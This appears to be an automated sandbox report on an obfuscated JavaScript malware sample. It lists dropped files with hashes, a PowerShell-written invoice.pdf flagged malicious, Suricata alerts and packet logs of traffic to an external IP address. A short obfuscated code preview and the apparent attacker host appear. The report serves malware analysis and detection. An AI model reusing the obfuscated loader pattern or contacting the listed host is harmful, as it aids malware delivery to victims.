Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.399471190480992
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zmn:EGvIcNYdLx4b8ymmoX1Wx
MD5:	3160AE8ED54A0DFF1FC6B6CA9FE2C0EF
SHA1:	EBD045E228CBB4BC7FD6692B6417074C0B35CE1C
SHA-256:	699DCF1B4A5B6F3452D7C27E6A10F95C1A52D09475D9E8D2FFDFCF5F844FD794
SHA-512:	584E0F843F1F30CC087C84D6130CFBBB39906D3A247AA7A8AE5C4591255A89AB129EA878CE308C5B23CE4DEB152792252CD937EBD9AF0F79EBA926907AD0F0B6
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\13f2de05-e9e6-4a01-930c-fe3352a7290b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 634912
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07EGZftwYIGNPzWL07oW:Jb3mlind9i4ufFXpAXkrfUs0wGZVwZGf
MD5:	0E1B199E77ACA01686FEB4EAEF72E148
SHA1:	7C22D506ABC4B734E9491A833F78CBB2549356D7
SHA-256:	46896E7C24B491E55815328A77A1F3FF6E9CBD6DAEFCD172F026B53320F934DE
SHA-512:	EFEEDED8F81C340876293C5A63B3F1BEED952659B2DACCCC3ADD9868F6D6782484B29BE6720FD7F8E32B0A5CFF5C08CC31C2252A9AE20F0692A935AF0C263664
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\1c64f1ea-cdfa-4255-bd15-c0615b45a502.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/bfYIGNPRmOWL07otGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:DfZGDbWLxtGZN3mlind9i4ufFXpAXkru
MD5:	25904D4E6F0DEF2525CA7C8753D8DA8B
SHA1:	2DBE40C9E50F97CB44C2BEA14FF9FAF50D2CEE09
SHA-256:	8AD8F713FA5FE9E7D687A0D14FB6ACD576C4FB453788811643876119644A2092
SHA-512:	5801935A3D12821C8E6827962FCA0C9A99602A0A30876A16FB0692AED5354CB18EF8B183D4DB7A4D75E2B70E58DE2EB271134FA40DC31DAAE70C52D8CFF56108
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a3573f13-c5fe-4908-8ee5-5207943c5c86.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\b4b06c7f-ea75-4bfd-b373-f29a5b1069bd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16349), with CRLF line terminators
Entropy (8bit):	4.9282193535752805
TrID:
File name:	11267230832782128009.js
File size:	19'847 bytes
MD5:	12e012f0119f53a85c81f2b314071265
SHA1:	68e7a43bd91a43b0536e0ec1183ae09bc4f2b77c
SHA256:	ef8339805fb1a100a7733e9f4597e38328294b1980e8f8df38d9a447bd30dc65
SHA512:	7e601d79d6af5e12319feae0c0d7ccd828aad4d81be7b41b5a9965797c54f84c505881aa14b5584ed91ada57bf7d29979828288cab2726fecccf0a583809bf82
SSDEEP:	384:O4Vn1pt2lh0wcnj7n6ydDvWAS1S/64V1g0awc47hMxIx7r5E7AdIxVEbeOa1tC1:O6n1pt2lh0vnjLPvQSiwWwc47hMxIx77
TLSH:	6992A74455850BCFD9FB00B058B698D722B587CDD78488F2218256805F6FDDBEEE82BE
File Content Preview:	function uxtqmfgl(){dxizykfb=[1031,3079,5127,4103,2055,3072];var uzebyhcup=this[ljvcvqfl+psdjc+cropnboe+yuyjkd+lyvfzt+ubtesjfew+rrqhrgqvg+mpjwrzhav](this[vrngfktd+mfeixdt+luouma+cropnboe+duqxu+ljvcvqfl+mpjwrzhav][zoiwl+cropnboe+lyvfzt+psdjc+mpjwrzhav+lyvf

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:13:39.753067+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49740	193.143.1.205	80	TCP
2025-01-10T22:13:42.091006+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49756	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:13:38.951203108 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:38.956032991 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:38.956140995 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:38.959472895 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:38.964380026 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.752918005 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.753009081 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.753021955 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.753035069 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.753046036 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.753058910 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.753067017 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.753072023 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.753084898 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.753098011 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.753107071 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.753109932 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.753169060 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.812978029 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.813008070 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.813021898 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.813108921 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.870008945 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.870037079 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.870105982 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.870134115 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.870249033 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.870261908 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.870273113 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.870296001 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.870352983 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.870742083 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.870754004 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.870815039 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.870965958 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.870984077 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.870995998 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.871006966 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.871020079 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.871028900 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.871056080 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.871850967 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.871870041 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.871884108 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.871896982 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.871898890 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.871911049 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.871941090 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.871995926 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.872714043 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.872725964 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.872739077 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.872776985 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.899611950 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.899688005 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.930243969 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.930269003 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.930280924 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.930294991 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.930335045 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.930392981 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.956859112 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.956871033 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.956986904 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.989087105 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989111900 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989126921 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989140987 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989155054 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989166975 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989177942 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989180088 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.989192963 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989207983 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989222050 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989237070 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989250898 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989253044 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.989264965 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989279032 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989293098 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.989343882 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.989407063 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989419937 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989432096 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989447117 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989454031 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.989459991 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989474058 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989487886 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.989492893 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.989528894 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.990406036 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.990453005 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.990531921 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.990545034 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.990559101 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.990571976 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.990583897 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.990597010 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.990597010 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.990622044 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.990668058 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.991445065 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.991458893 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.991471052 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.991483927 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.991501093 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.991533995 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.991604090 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.991616964 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.991631031 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.991660118 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.992382050 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.992393970 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.992408037 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.992419004 CET	80	49740	193.143.1.205	192.168.2.10
